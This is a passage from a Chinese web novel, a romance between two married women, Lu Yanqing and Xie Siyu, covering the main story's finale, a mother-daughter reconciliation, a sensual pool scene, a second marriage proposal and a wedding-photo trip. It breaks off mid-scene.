忽而嘴角露出些许自嘲和落寞来,并不是人人都能像谢思虞那般幸运,可以跟暗恋多年的人结婚,也能拥有心上人的喜欢。 整个上午过去。 询问沈砚清那句话,就好像石子投进大海,没有半点回应。 谢思虞把签字的文件夹放在一旁,又一次打开和她的聊天记录,无奈地抿了抿唇。 她和沈砚清多年朋友,难免会担心,虽然知道她私下是大大咧咧的性子,可人都有脆弱的一面。 感情这种事情吧,外人也没办法插手。 12:15分。 谢思虞注意到电脑屏幕上的时间,星眸幽幽,今天中午卿卿想要吃什么呢? 此时的陆言卿正在和钟晚意通话。 「你想知道婚戒的事?我才不告诉你!」 「陆言卿啊陆言卿,我真是羡慕死你了。不行,我要向思虞姐学习,她能喜欢你7年,我也不能轻易放弃,要再坚持坚持,万一哪天薇薇也看到我的好喜欢我了呢?」 「就这样,挂了——」 陆言卿摘下蓝牙耳机,只觉得莫名其妙,这人是有病吧? 专程打电话来“羡慕”她? 抬眸正好见谢思虞推门进来,陆言卿唇角上挑,等人到了跟前,她伸手把人捞进怀里,让她坐在自己腿上。 随后搂紧谢思虞的腰,从后面拥抱她,头埋进她后颈,亲昵地蹭了蹭,嗓音轻软,好似还透着几分委屈:“阿虞,钟晚意欺负我。” 谢思虞闻言眼底露出温和的笑意来:“晚意说什么惹卿卿生气了?” 陆言卿不轻不重掐了下谢思虞腰间的软肉:“阿虞转过来,面朝我坐。” 虽然不明白原因,谢思虞还是乖乖站起身,转身面对着陆言卿,然后跨坐在她的腿上。 “婚戒是阿虞设计的?” 陆言卿眼神温柔且充满了爱意,她将谢思虞耳边的碎发别到耳朵,握住对方的手,垂眸视线落在无名指那枚婚戒上,牵起她的手,轻柔的吻覆在上面。 记忆被拽回三年前。 她们领证的日期是3月21日。 那天下着淅淅沥沥的小雨,乌云笼罩在城市上空,上午10点,她和谢思虞约定在民政局见面。 填写资料,拍照,再到誓言仪式,整个流程下来很顺利。 全程仅20分钟。 “陆总还记得那天在咖啡馆答应我的事吗?” 民政局门口。 陆言卿撑开雨伞准备下台阶,忽然听到身后传来谢思虞温温柔柔的声音,她停下脚步转身。 谢思虞墨色微卷的长发披肩,穿着一条淡粉色长裙,提花面料,七分袖,裙摆到小腿位置,腰侧有蝴蝶结装饰。 骨相绝佳的脸上化着淡淡的妆容,气质温婉。 只是站在那里,只是对上那双温柔潋滟的眼眸,她就有片刻的晃神。 “什么事?” 她问。 谢思虞上前走了两步,蒙蒙细雨飘落在她的身上。 她好像很紧张,唇瓣紧抿,双手紧紧抓着手提包。 陆言卿着急回集团开会,春雨连绵的天气,吹的风也是凉的。 看到站在雨中的谢思虞,她犹豫片刻,撑着雨伞朝她走了几步,帮她遮挡了雨丝。 “我们已经是妻妻,有什么事你大可直言。” 谢思虞目光柔和,盈盈望向她,重重地呼出一口气,鼓起勇气道:“我准备了婚戒,陆总要……戴吗?” 说着从手提包里拿出一个红色的丝绒盒。 陆言卿微怔片刻,她们领证匆忙,也省去了繁琐的婚礼,至于婚戒,她确实忘记了。 没想到谢思虞会准备。 “不愿意也没关系,我就是……” 也不知道是不是她的错觉,竟从谢思虞声音中听出一丝苦涩来,陆言卿握住伞柄,伸出左手:“没有不愿意。” “我们不是隐婚,可以戴婚戒。思虞?我以后这样叫你?” 谢思虞眉眼弯成月牙,稍稍仰头看着陆言卿,目光璀璨,就像是盛满了星辰的夜空:“可以,你怎样叫我都可以,那我便喊你卿卿?” 大概是怕陆言卿拒绝,有些忐忑的解释,“总不能在外人面前叫你陆总。” 陆言卿没所谓,钟晚意也叫她卿卿,可这两个字从谢思虞嘴里叫出来,总感觉莫名不自在。 或许是第一次听她喊? “思虞把婚戒给我吧。” 陆言卿再次伸出左手。 谢思虞打开红色丝绒盒,两枚婚戒固定在盒子中间,外观简约,戒圈纤细光滑,外侧半圈镶嵌着小碎钻。 她小心翼翼取出其中一枚,原本可以直接放在陆言卿手心里,可她想要亲手为她戴上。 于是把剩下的一枚婚戒连同盒子都装进手提包内,腾出手来握住陆言卿的左手,将戒指慢慢地推进她无名指的指根。 因为低垂着头,陆言卿没能看到谢思虞眼中闪烁的泪花,还有某些深邃隐晦的情绪。 “谢谢,婚戒很漂亮。” 是下雨的缘故,还是谢思虞穿的比较单薄,她的手很凉。 上一次在咖啡馆不小心触碰到她的肌肤,也是这般冰凉。 陆言卿不着痕迹抽回手,目光落在婚戒上,是意外吗? 尺寸很合适。 谢思虞整理好情绪,脸上再次洋溢着温柔明媚的微笑:“卿卿喜欢就好。” 陆言卿躲开谢思虞双瞳剪水的眼眸,垂在身侧的手指,微不可查地蜷缩了下。 终究没有说要帮她戴婚戒的话。 “江海澜苑的婚房还在装修,可以把你的喜好告诉他们。” 轰隆隆——隆—— 陆言卿话音刚落,天空中传来闷雷的轰隆声,雨也越下越大,噼里啪啦的雨点砸落在雨伞上方,垂眸扫了眼手腕上的腕表,“这辆车以后你开,做戏做全套。” 今天的董事会很重要,不能再耽搁时间,陆言卿把车钥匙塞到谢思虞手中,握住她的手腕往宾利车方向走。 “路上开车慢点,有事微信联系。” 陆言卿把谢思虞送上车,顺便拨通了司机的电话,很快一辆黑色奔驰出现在路边。 她们在民政局分道扬镳,没想到再见面,就是“三年”后。 “阿虞,对不起。” 如今再回忆领证当天的细节,陆言卿觉得自己蠢极了,心脏也好似被一只无形的大手用力的抓了一下,闷闷的疼,“那天我应该帮你戴上婚戒的。” 谢思虞凝视着陆言卿,见她慢慢红了的眼眶,心湖也跟着卷起惊涛骇浪。 双臂搂着她的颈脖,凑过去亲了亲她的额头,又亲了亲她的鼻尖,嗓音柔软:“卿卿不用觉得愧疚,那天你愿意戴上婚戒,我就感觉无与伦比的幸福。” “婚戒内圈的刻字……” 陆言卿握住谢思虞的右手,两枚同款婚戒撞在一起,就如同此刻她们的心。 也是紧紧锁在一起的。 谢思虞额头抵着陆言卿肩膀,有点难为情,静默片刻还是如实坦白:“婚戒不是我设计的,是我26岁生日那天买的。” “至于刻字,是我们签订协议后确定了领证的日子,我去珠宝店找人刻上去的。” 当初买婚戒只是因为私心。 毕竟她从未想过有一天会嫁给陆言卿。 而刻字,也是想要永远记住那天。 对她而言最刻骨铭心的日子。 陆言卿心疼至极,不知道该说什么好,只能将怀里的人抱得更紧。 其实钟晚意说的没错,她上辈子肯定是拯救了银河系,才能遇到这么好,这么好的阿虞。 第85章 正文完结 时间来到两天后。 傍晚6点, 下班时间。 谢思虞在集团负一楼停车场遇到还未离开的沈砚清,只见她坐在驾驶座,低垂着头看手机, 俨然一副魂不守舍的模样。 握着车钥匙的手紧了紧。 谢思虞沉思片刻来到驾驶座车门外,轻叩玻璃窗,她觉得沈砚清很不对劲。 上午高层会议上, 沈砚清走神不说,还放错了PPT, 一向严谨的她绝不会犯这种低级的错误。 除非……她遇到什么事情了。 “怎么了?” 沈砚清抬头看到车外的人,下意识锁了手机屏幕,降下车窗玻璃, 还算比较镇定的开口。 “身体不舒服吗?你今天状态不太好。” 谢思虞抿了抿唇, 她刚是看错了吗? 沈砚清为什么会心虚? “没有。” “你肯定看错了。” 沈砚清讪讪地摸了摸鼻尖,垂下眼睑, 眼中闪过一抹不自然,根本不敢直视谢思虞的眼睛。 想到家里那位“不速之客”,她更是坐立难安,酒,真是个害人的东西。 她发誓,今后戒酒! 再喝她就是狗。 谢思虞颇为无奈,沈砚清明显不愿意说, 她总不能逼着她回答:“身体没有不舒服就好。” “如果你遇到什么棘手的事不能解决,可以试着告诉我。” 谢思虞轻轻拍了拍沈砚清的肩膀, 眼里藏着关心, “虽然我不能保证一定能帮你解决, 但多一个人多一份力量?” 沈砚清心头一软,冲谢思虞露出柔和的微笑:“知道思虞你最好了~” “我确实遇到点事, 也不算棘手?哎呀,我也不知道该怎么跟你说。” 沈砚清烦躁地抓了抓头发,想到那晚在酒店对温月晗做的事,她说话语气都变得急切起来,“思虞,我能再请两天假吗?” “也不是不行?” “谢谢,那我先走了。” “……” 谢思虞退到一边,目送沈砚清驱车离开,眨了眨眼睛,猜测好友请假的理由。 说来也奇怪,那晚她们在海滨别墅聚餐,中途沈砚清和温月晗离开,第二天温月晗就表示要在榕城多待几天。 因为这件事,温月怡还闹了小脾气。 “莫非月晗姐留下的原因和砚清有关?” 谢思虞喃喃自语,很快又摇摇头,应该是她想多了。 温月晗端庄温柔,内敛沉稳,不会由着沈砚清胡来。 「抱歉嫂嫂,我不是故意打扰你,最近集团事物繁忙吗?我给姐姐打电话她不接听,发微信也不回。」 「我们从江城回来,妈妈就病倒了,现在在二院输液,如果可以的话,你和姐姐能来医院看望妈妈吗?」 “阿虞在看什么?” 陆言卿没有同谢思虞一起,是去一楼大厅前台取快递了,从电梯出来,远远就见妻子站在一个空车位前走神。 谢思虞闻到熟悉的山茶花香,偏头看向陆言卿,顺便把手机递过去:“妈生病了。” “爸刚也给我打了电话。” 陆言卿迟疑地眨眼,视线从屏幕上移开,想到母亲对妻子的偏见,眼底的笑意淡了几分,“阿虞,我妈妈不喜欢我,也连带着不喜欢你,让你为难了,抱歉。” 谢思虞不由怔了怔,侧过身心疼地抱住陆言卿,想到她在微博小号里自我嘲讽的话,心里格外酸涩难耐:“我没有觉得为难。” “我嫁的人是卿卿。” 原本一开始沈女士就不喜欢她,这些年因为她对陆氏集团的付出,才让她对自己有所改观。 “阿虞说的对。” 陆言卿压下心底的烦闷,牵着谢思虞的手往前走,她们经营好自己的小家就够了。 与此同时。 榕城第二人民医院,住院部12楼,1202VIP病房。 沈若华因为失去妹妹,伤心过度,连续几宿熬夜,再加上淋了雨吹了风,病来如山倒。 感冒咳嗽,还伴随着发热。 陆弘深担心妻子身体,说什么也要带她来医院检查。 拍片结果显示,肺部细菌感染,肺炎加重,必须住院治疗。 “距离晚上一组输液还有一个半小时,要下楼散步消食吗?” 陆弘深把保温桶收拾好放床头柜上,给妻子倒了杯温水,看着她苍白的脸色,余光不经意往门口看去。 沈若华瞥见丈夫的小动作,扯了扯身上的被子,满不在意道:“她不来最好,省的你等会儿还要劝架。” 陆弘深捏紧手中的玻璃杯,也有点生气:“那你非要跟言卿吵吗?” 这些年他夹在中间,劝谁都不是,母女两人的性格在某些方面真的出奇的一致。 “是我想吵?” 沈若华板着脸转向一边,喉咙痒的不行,又控制不住的咳嗽起来—— 陆弘深急忙放下水杯,扶着妻子肩旁的同时,抽了两张纸巾给她。 将枕头塞到她后背,让她枕着舒服些。 沈若华坐靠在床头,偏头看向左侧的窗户,夕阳西下,最后一丝余辉消失在天边,夜色渐渐黯淡下来。 也不知道维持这个姿势多久,她开口说话,嗓音很哑:“当初丢下她去海外工作,又频繁失信于她,是我的错。” “难道女人就应该被家庭被孩子束缚?我当年选择工作,所有人,包括你在内都在埋怨我。” “那如果我选择在家照顾她,就一定是对的吗?” 陆弘深哑口无言,这个话题他们争论过无数次,从来没有争论出结果。 人生本就是如此,怎么选都有遗憾。 “好,我们不提陈年旧事。” 他拉过一旁的椅子坐下,娓娓道来,“我们就说现在,言卿喜欢思虞,你为什么要说让她们离婚的话?” “你真的知道言卿想要什么吗?” 沈若华转过头看着丈夫,被子下的手攥成了拳头:“若兰她的丈夫……” “你能不能不要以偏概全?每次都是这样,跟你说东,你偏要扯西。” 陆弘深最不喜欢妻子这点,她尊重孩子的意愿,小女儿突然学医,她也没说过半个不字。 父亲执意让大女儿继承集团,这些年他们跟二弟家里难免有摩擦,每每二弟说女儿不好,她都会站出来维护。 可有的时候,有的时候就喜欢钻牛角尖。 不放过她自己,也不放过别人。 “我没说非要让她们离婚,我只是提醒她要提防。” 防人之心不可无。 沈若华闭上眼睛,懒得跟丈夫争辩。 “往后言卿和思虞的事你别管了,否则只会把她越推越远。” 陆弘深体谅妻子的不容易,也心疼大女儿年幼没有母亲陪伴,想到什么,他说话嗓音重了几分:“等你病好出院,把院子里那几株重瓣朱丽叶玫瑰处理了。” “为什么?” “母亲说言卿不喜欢朱丽叶玫瑰,她喜欢杜鹃花。” “……” 沈若华睁开眼睛看向丈夫,眼底是满满的不可思议,很快又歪头看向别处,不知道时间过去多久,她才讷讷道:“既然不喜欢,为什么不告诉我呢?” 直到夜深人静,两人也没有等来陆言卿。 倒是第二天中午,谢思虞来了一趟医院,她带着一捧康乃馨鲜花,找借口支开陆弘深,陪沈若华说了会儿话。 不到十五分钟便起身离开。 陆言卿知道妻子去医院,但什么都没问,只是沈若华出院那天,她打了电话问候。 等她和谢思虞再次回陆家别墅,时间过去了3个月。 八月十五中秋节,是家人团圆的日子。当晚祖父祖母,包括二叔一家人都在。 晚餐过后。 别墅二楼书房。 陆弘深站在窗前,看向楼下院子,靠近围墙旁的花圃,已经没有了朱丽叶玫瑰。 可惜八月,不是杜鹃花盛开的季节。 “您特意叫我上楼,就是让我品茶?” 父亲一句话不说,陆言卿自顾自喝了两杯茶,起身来到父亲身边,顺着他的目光往下看,身体僵硬了一瞬。 陆弘深眼神意味深长:“今后多回来看看。” 他没有说让女儿原谅妻子的话,有些事在他看来不重要,可对女儿而言,或许一生都无法跨越。 陆言卿垂下眼睑,半晌才“嗯”了一声,离开书房在楼梯口遇到母亲,她抿紧唇瓣,温声开口:“妈。” “我和阿虞先回去了,您和爸多注意身体。” 沈若华穿着浅绿色带绣花的旗袍,这是今晚陆言卿回来喊的第二声‘妈’。 她抓紧了栏杆扶手,张了张嘴巴,等女儿下了几级台阶,她才哑声道:“言卿,对不起。” “这些年是母亲亏欠你。” 陆言卿喉咙发紧,站在台阶上并未转身,那块压在心上多年的重石似乎有所松动,她扯唇笑了笑。 沈若华当初生下她,给予她生命,她很感激。 可要说亏欠,也不尽然。 小时候她渴求母爱,但现在她长大了。 别墅门口。 陆言卿走出玄关就见谢思虞在等她,她走过一片灰暗,迎来了独属于她的太阳。 站在谢思虞面前。 陆言卿双手背在身后,漂亮的杏眼里盛满里温柔和欢愉,温柔的吻落在对方的唇上:“陆夫人,我们回家吧。” 谢思虞被那明媚璀璨的笑容晃了眼,也弯了弯唇,牵起陆言卿的手,和她十指紧扣。 两人朝着院子大门口走去,她歪头亲了下陆言卿的脸颊,嗓音温柔带着甜:“我们回家。” 【正文完】 第86章 番外1 你愿意再嫁我一次吗? 榕城进入11月份。 华晨里E09栋别墅。 謝思虞出差一个礼拜, 也是被陸言卿提醒,才知道别墅頂楼有游泳池。 晚上8点,夜幕低垂。 玻璃穹頂凝着薄薄的水雾, 謝思虞像一尾银鱼在池中自由穿梭, 出差积攒的疲惫在36度水流里化开。 来回游了两圈, 她浮出水面呼吸新鲜空气,仰头见陸言卿站在池边,正笑盈盈望着她。 “水凉吗?” 陸言卿目光柔和, 蹲下身手指划过水面。 氤氲的热气里, 謝思虞臉颊泛起淡淡的红晕,濕漉漉的长发披在身后, 泳衣肩带要落不落,露出锁骨下方一道浅浅的烫伤疤痕。 謝思虞莞尔一笑:“水溫剛好。” 又一次潜入水中,等她再次浮出水面时,甩出的水珠落在了陸言卿身上。 她是故意的。 “卿卿文件都处理完了?” 谢思虞趴在池边,稍稍仰头,双瞳剪水的眼眸里盛满了溫柔,还带着水珠的掌心轻抚上陆言卿的臉颊, 下一秒, 被对方抓住了手。 陆言卿没有错过妻子眼中一闪而过的狡黠, 反手抓住她的手, 轻咬她的指尖:“怎么,阿虞想邀请我一起?” 说着脱掉脚上的拖鞋,直接坐在泳池边, 整栋别墅开着中央空调,并不冷。 陆言卿在二楼书房处理工作,身上穿着齐膝盖的白色连衣裙。 此时随她坐下的动作, 裙摆往上滑,露出一双白皙诱-人的长腿来。 谢思虞笑着眨眨眼:“那陆总願意上钩吗?” 剛想要游开,却被陆言卿抓住手腕拉了回来。 “甘之如饴。” 陆言卿顺势滑进泳池,同一时间将谢思虞拉进怀里,溫热的水流中,两人的身体紧紧相贴。 陆言卿目光渐暗,下巴搁在谢思虞肩头,唇瓣有意无意擦过她泛红的耳朵:“飞機晚点了三小时……” 话未说完,谢思虞双手捧着她的臉,唇已经贴了上来。 “天气原因无法避免。我知道卿卿想我,我也想卿卿。” 明明只是一个礼拜,却好似过去几个月。 谢思虞眉眼溫柔,含着陆言卿下唇吮吸,尝到她唇上咖啡的苦涩,俏皮地眨眨眼:“卿卿不许我喝咖啡,自己却忍不住。” 陆言卿冤枉:“是沈姨准备的。” 她们最近在别墅住,沈姨就自告奋勇过来帮忙,毕竟偌大的别墅总要有人打理,她就没有拒绝。 今晚的咖啡,确实是沈姨送到书房来的,已经煮好了,总不能不喝。 “是吗?” 谢思虞就是逗她,不可能真的生气。 陆言卿身上的连衣裙已经被水浸濕,贴着肌肤不舒服,她脱掉了连衣裙,只剩贴身内衣和小褲褲。 “卿卿你做什么?” “做阿虞……喜欢的事?” 陆言卿拉着谢思虞来到池边,正好用连衣裙护着后背,她低头噙住了她的唇瓣,温柔的,细细的,辗转親吻。 等彼此的气息完全交融在一起,她才撬开她的贝齿,温热的舌尖探入,汲取属于她的甘甜。 “唔~” 谢思虞呼吸变得急促,后背抵着泳池壁,又被陆言卿搂抱着,心噗噗跳的很快,不知道是不是在水里的缘故,她的双腿有点发软。 腰侧被陆言卿指尖碰过的地方也传来异样,酥酥麻麻的,好似过电一般。 整个人就跟踩在云朵上似的。 “这么快就想要了?” 妻子的娇哼声钻进耳朵里,陆言卿松开她的唇,眼底染上笑意。 水下,膝盖顶开谢思虞的腿。 明知顾问。 谢思虞满脸娇羞,脸和脖子都红了,在水底下踢了下陆言卿的小腿,或许有水流阻挡,力道轻的更像是撩拨。 “这种时候阿虞还敢勾-引我?” “胡说,我没有。” “好,阿虞没有。” “……” 陆言卿凝视着谢思虞染上绯意和情-欲的目光,指尖抚过她锁骨下的旧伤疤,低头親了上去。 伸出舌尖舔-舐。 放在她腰侧的手指也一路向下。 “痒,卿卿……不要親那里。” “阿虞不要害怕,忍不住就叫出来,这里只有你和我。” “那你轻一点。” “确定要……轻一点?” 游泳池的水是恒温的,哪怕两人在水里闹,也不会觉得冷。 一波接着一波的潮水涌向她,循环往复,谢思虞有些受不住,只能凭借本能搂住陆言卿的颈脖。 如果不是亲耳听到,她都不知道自己会发出那样脸红心跳的声音。 她想让陆言卿停下来,可这种时候陆言卿不会听她的话。 “阿虞舒服吗?” “我……” “回答我。” “嗯。” “喜不喜欢?” “……喜欢。” 陆言卿笑着吻上谢思虞的唇瓣,托着她的臀抱起来。 她们做过无数次亲密的事,她当然知道怎样做才能让妻子更舒服。 “啊——” 谢思虞身体悬空,沾染情-欲的眼睛里露出一丝惊恐来,双腿急忙环上陆言卿的腰。 “接下来我要把阿虞弄哭。” 陆言卿抱着谢思虞坐在泳池边,手来到她肩膀处,指尖轻轻一拉。 “卿卿。” 谢思虞意识到陆言卿要做什么,不由自主提高了音量,红着脸按住她解肩带的手,“我里面没有穿……” 陆言卿眨眨眼,眼底多了几分柔情:“那正好。” 随着泳衣肩带滑落,谢思虞感受到陆言卿滚烫的吻,好像羽毛,一片一片落在她肌肤上。 不知何时,外面下雨了。 噼里啪啦的雨珠砸落在玻璃穹顶。 陆言卿抱着浑身抑制不住轻颤的谢思虞,听到她在她耳边唧唧哼哼,唇上也全是甜蜜的露水。 “卿卿够了,停下来好不好?” 谢思虞眼尾泛起丽靡,手指穿进陆言卿湿漉漉的发间,宠溺地揉了揉,她浑身酸软,根本使不上力,全靠她搂着她。 “好,今晚放过阿虞。” 软绵无力的嗓音在耳畔响起,陆言卿到底是心疼,温柔地抱住谢思虞,再次将她带入池水中。 水流再次涌动,漫过她们相贴的胸口。 窗外雨势渐大,雨水在玻璃顶上汇成细流。 水中,陆言卿安抚的吻落在谢思虞殷红唇瓣上。 又含咬着她的耳垂轻声说:“阿虞,我爱你。” 两人回到二楼主臥。 已经是晚上10:05分。 浴室传来哗哗的水声,是陆言卿在洗澡。 谢思虞注意到梳妆台上一支粉色玫瑰花,唇角勾起温柔的笑意。 「谢思虞,你居然把爸扔到疗养院,你到底还有没有良心!」 谢知瑤打来电话,谢思虞犹豫片刻还是选择接听,结果对方开口就是辱骂。 她气笑了。 余光瞥向浴室方向,拿着手機往门口走,很快来到二楼最右侧的露台。 今夜暴雨来的快,去的也快。 她从顶楼游泳池下来,先洗的澡,身上穿着香槟色的睡衣裤,齐腰的长发也被陆言卿用吹风机吹干。 谢思虞站在露台上,夜风微凉,风吹乱了她的长发。 听筒那头谢知瑤还在喋喋不休。 「当年爸就不该让你留在谢家,这些年他供你吃穿,给你提供最好的教育资源,谁知道竟养出了个白眼狼。」 「如果不是你,谢家也不会破产——」 「我和妈妈也不会有家不能回,谢思虞你怎么那么恶毒啊,都怪你,都怪你!」 谢思虞眼神一点一点沉下去,不管谢知瑤如何歇斯底里,她始终是云淡风轻的姿态:“说完了吗?” “你真的不能回国吗?” “还是根本不想回国?” 两句话,就让谢知瑶哑口无言。 “谢知瑶,你没有资格说我,将他送到疗养院,已经是我不计前嫌。” 谢思虞冷着脸挂断电话,顺便拉黑了谢知瑶的联系方式,几个月前,谢明远从医院出来,他最终去见了母亲的恩师。 否则,他如今连疗养院都去不了。 谢知瑶口口声声骂她恶毒,骂她没有良心,那她自己呢? 还不是不願回国照顾已是“废物”的亲生父亲。 其实说到底,谢知瑶爱的人只有她自己。 她和谢明远不愧是亲父女。 “怎么出来了?” 陆言卿洗过澡从浴室出来,见谢思虞不在房间里,拿着披肩出来找人。 露台的灯被打开。 谢思虞刚转身,陆言卿就把披肩披在了她的身上,把妻子抱进怀里,发现她身上很凉,当即蹙了眉头:“陆太太,洗漱后不躺床上睡觉,你来露台吹冷风?” “卿卿,我们明天就去S市拍婚纱照好不好?” 谢思虞笑而不语,歪头靠在陆言卿肩膀上,生硬的转移了话题。 陆言卿愣了下,她们计划去S市拍摄婚纱的时间是一周后,提前也不是不可以。 轻柔地揉了揉妻子的头发,牵着她的手往臥室方向走:“你刚出差回来,先休息几天,三天后再出发去S市。” “也好。” 谢思虞笑着点点头。 回到主卧,陆言卿关上房门,找到空调遥控器将屋内温度调高。 “阿虞,不仅是补拍婚纱照。” “我还想给你一场盛大的婚礼。” “你愿意再嫁我一次吗?” 谢思虞刚给吹风机插上插头,陆言卿就从后面将她抱住,耳畔随之传来她温柔又坚定的声音。 一字一句,全都狠狠砸在了她心尖上。 顷刻间,眼眶便被泪水打湿,她转身回抱着陆言卿。 嗓音哽咽,却也透着满满的幸福:“我愿意。” “卿卿,我愿意的。” 只要嫁的人是你,我怎样都愿意。 第87章 番外2 拍摄婚纱1 三天后, 陸言卿和謝思虞登上了从榕城飞往S市的航班。 航程不长,大约一个半小时。 飞機平稳飞行后,謝思虞輕輕推开了舷窗的遮光板。 金红色的夕阳余晖瞬间涌进来, 温柔地洒满小小的客艙空间。 “卿卿, 看, 是日落。” 謝思虞用胳膊肘輕輕碰了碰身边的陸言卿,声音里带着雀跃。 她望向窗外的眼眸映着霞光,清澈温柔, 浮现出孩子般纯粹的天真和笑意。 “我帮阿虞拍下来?” 陸言卿笑着拿开腿上的毛毯, 从隨身的包里拿出手機,解锁, 点开相機。 隨着“咔嚓”一声轻响,她将倚窗看日落的妻子,连同那片绚烂的天色,一起定格在了镜头里。 照片里的謝思虞穿着一条吊带碎花长裙,外面搭了件柔软的杏色长袖针织开衫。 长发编成了精致的鱼骨辫,柔顺地垂落在右侧肩头。 她化了淡妆,唇上那抹温柔的唇釉, 还是清晨她亲手为她涂上的。 平心而论, 谢思虞真的很美。 当然, 在她眼中, 妻子哪怕只是眨眨眼,或是嘴角一个微小的弧度,都足以讓她心动不已。 “卿卿拍照的技术好棒啊。” 谢思虞挽住陸言卿的胳膊, 亲昵地歪头靠在她肩上。 手指滑动屏幕翻看刚拍的三张照片,无论是角度、光线还是构图,都捕捉得恰到好处。 她本想直接把照片发到自己手機, 忽然想到什么,眨眨眼看向陆言卿:“卿卿,我能用你的手机发朋友圈嗎?” 陆言卿重新戴上了眼罩,准备休息,闻言随意地点点头:“嗯,可以。” “需要屏蔽什么人嗎?” 谢思虞一边问,一边点开了陆言卿的微信。 映入眼帘的,唯一被置顶的联系人就是她,备注是簡单又亲昵的“老婆”。 这个小小的发现讓她眉眼瞬间弯成了月牙,眸子里漾开明媚的笑意。 “不用。” 陆言卿的声音带着点困倦。 她的微信好友圈子很簡单,除了家人和亲近的朋友,就是必要的商业伙伴,没什么需要避讳的。 她调整了一下座椅角度,讓自己躺得更舒服些。 昨晚她意外地失眠了,也不知道是不是因为今天要坐飞机的缘故,倦意频繁朝她袭来。 “快闭上眼睛睡会儿吧,到了我叫你。” 听着陆言卿声音里的疲惫,谢思虞心里软软地疼。 她轻轻帮陆言卿掖好毛毯边角。 照片拍得很好,根本不用修。她配上简单的文字,检查了一下就点了发送。 发完朋友圈,谢思虞关掉手机Wi-Fi,把手机小心放回陆言卿的随身包里。 又伸手将舷窗的遮光板拉了下来,挡住外面渐暗的光线。 她安静地看着陆言卿的睡颜,看了好一会儿。 然后,小心翼翼地、轻轻地握住了陆言卿放在毯子外的右手。 其实她大概知道陆言卿为什么失眠,昨晚她自己也没怎么睡着,现在眼睛也酸酸的。 她不敢睡。 “别乱想。” “我不会突然离开的。” 像是感觉到了谢思虞心里的惴惴不安,迷迷糊糊中,陆言卿的手动了动。 她没有松开,反而更紧地回握住谢思虞的手,手指自然地挤进她的指缝里,变成了十指紧扣的样子。 与此同时。 就在商务艙最后一排,靠窗户的位置,坐着一位穿藕粉色长裙的女子,即便是在客舱里,她也戴着口罩和墨镜。 安静的客舱内,陆言卿和谢思虞对话声并不大,苏蔓却频频看向第一排的她们,也将刚才温馨的一幕看在眼里。 总之心情很复杂。 听圈内的朋友说,她们要补拍婚紗照,按照她对陆言卿的了解,她應该还会给谢思虞一场隆重而盛大的婚禮。 还剩半个月,她和星海的合同就要到期。 邹筱和经纪人都劝过她好几次,但她还是决定离开。 有些人,错过便是一生。 晚上9点。 陆言卿和谢思虞抵达S市某五星级酒店,这次跟她们随行的还有刘燕。 “你们可算到了。” 酒店大厅,钟晚意看到熟悉的身影,暂停了正在播放的电视剧,一边把手机装链条包里,一边朝她们走去。 她过来S市五天了。 原因嘛,自然跟宋薇有关。 宋薇正在拍摄的古装剧在这边的古镇取景。 “昨天不是还在微信群里炫耀?说宋薇收了你送的礼物?” 陆言卿看到状态并不太好的钟晚意,眼底露出揶揄的笑。 最近某人天天在群里蹦跶,一会儿让大家给她出主意,一会儿“显摆”她取得的小进展。 “你能闭嘴嗎?” 钟晚意耷拉着脸,瞪了陆言卿一眼,她能感觉到宋薇对她的‘态度转变’,可她介意她们之间到身份差距。 委屈巴巴的看向谢思虞:“思虞姐,你能帮我想想办法吗?” 谢思虞哭笑不得。 关于追人这件事,她也没有发言权,虽然她喜欢陆言卿很多年,可没有“光明正大”追求过她。 “算了,还是我自己想办法吧。” 钟晚意情绪来的快,去的也快,她和宋薇之间,也陆言卿她们不同,也没有可以参考的点。 “先去吃饭?考虑到你们舟车劳顿胃口不好,现在时间也不早了,我让酒店后厨准备了易消化的海鲜粥。” 婚紗摄影团队一共9人,除了专业的摄影师,还有化妆师和造型师。 两天前他们就过来准备布置。 其中一处婚紗拍摄地点是S市著名的旅游景点,露栖原濕地公园。 “濕地公园风景宜人,S市11月份比榕城暖和,你们穿婚纱也不冷。” 三人坐在酒店一楼的包间里。很快,服务员就推着小车送来了热腾腾的粥和菜。 有鲜香的海鲜粥,有酸甜开胃的西红柿牛腩粥,搭配几碟清爽可口的小配菜,看着就让人有食欲。 钟晚意自己不喜欢海鲜粥,所以点了份牛腩粥,还加了几道酒店的招牌菜。 她刚想再说点什么,一抬头,就看见陆言卿正拿着温热的湿毛巾,仔仔细细地给谢思虞擦手指。 钟晚意:“……” 她忽然觉得,自己可能回房间吃会更自在点? 算了,不看就是了。 钟晚意默默低下头,专心喝自己碗里的粥,努力降低存在感。 她答應来陪拍婚纱照,现在想想,简直是自找的,难怪郑雪死活不肯来。 这狗粮吃得也太撑了。 40分钟后。 陆言卿和谢思虞来到酒店顶楼的总统套房。 房间客厅的茶几上还有一束蓝色妖姬,上面附带一张小卡片:祝陆总和陆太太住的愉快~ “我刚好认识酒店的老板,看对方哪天有时间,我带阿虞去见见。” 陆言卿放下卡片,回头对谢思虞解释,她们会在S市待5天,除了之前她让董欣悦设计的几套婚纱,还有几套旗袍。 旗袍是祖母送给她和妻子的结婚禮物,全部是上好的绸缎面料。 “好。” 谢思虞从后面抱住陆言卿,额头抵着她后背,忽然感觉小腹有下坠感,察觉到什么,脸色微变。 急忙往洗手间方向走去。 “慢点。” 陆言卿难得见妻子冒冒失失的一面,弯腰将地上的链条包捡起来。 刚放倒行李箱,拉链拉开一半,听到洗手间传来谢思虞害羞的声音:“卿卿……你能听见吗?” 陆言卿“嗯”了一声,来到洗手间门口,轻声问:“怎么了?” “我……那个提前来了。” “行李箱里有吗?” “没有。” “那你稍等,我让酒店工作人员送上来。” 十分钟后。 谢思虞换了睡裙从洗手间出来,紧抿着唇瓣。 没想到会提前一个礼拜。 她来大姨妈肚子不会疼,但前两天量会比较多,明天要穿婚纱拍照,要是不小心弄到上面……光是想想就羞愧难当。 陆言卿将一杯温水递到谢思虞手中,目光落在她无意识抿紧的唇瓣上。 指尖随即轻柔地覆了上去,带着温热的触感,在她唇上缓缓摩挲,像是要抚平那份不安。 “别怕,” 陆言卿的声音低柔却带着不容置疑的安抚,“把拍摄推后两天就好。明天我哪儿也不去,就在酒店好好陪你。” “可是……” 谢思虞抬眼看她,眼底还有一丝犹豫。 “没有可是。” 陆言卿语气温柔却坚定,另一只手顺势揽过她的肩,将她带到床边坐下。 她绕到谢思虞右手边,手指熟稔地探入那精心编就的鱼骨辫中,动作轻缓地开始拆解。 乌黑的发丝如流水般在她指间散落,陆言卿的眼神专注而柔和。 “拍婚纱照……” 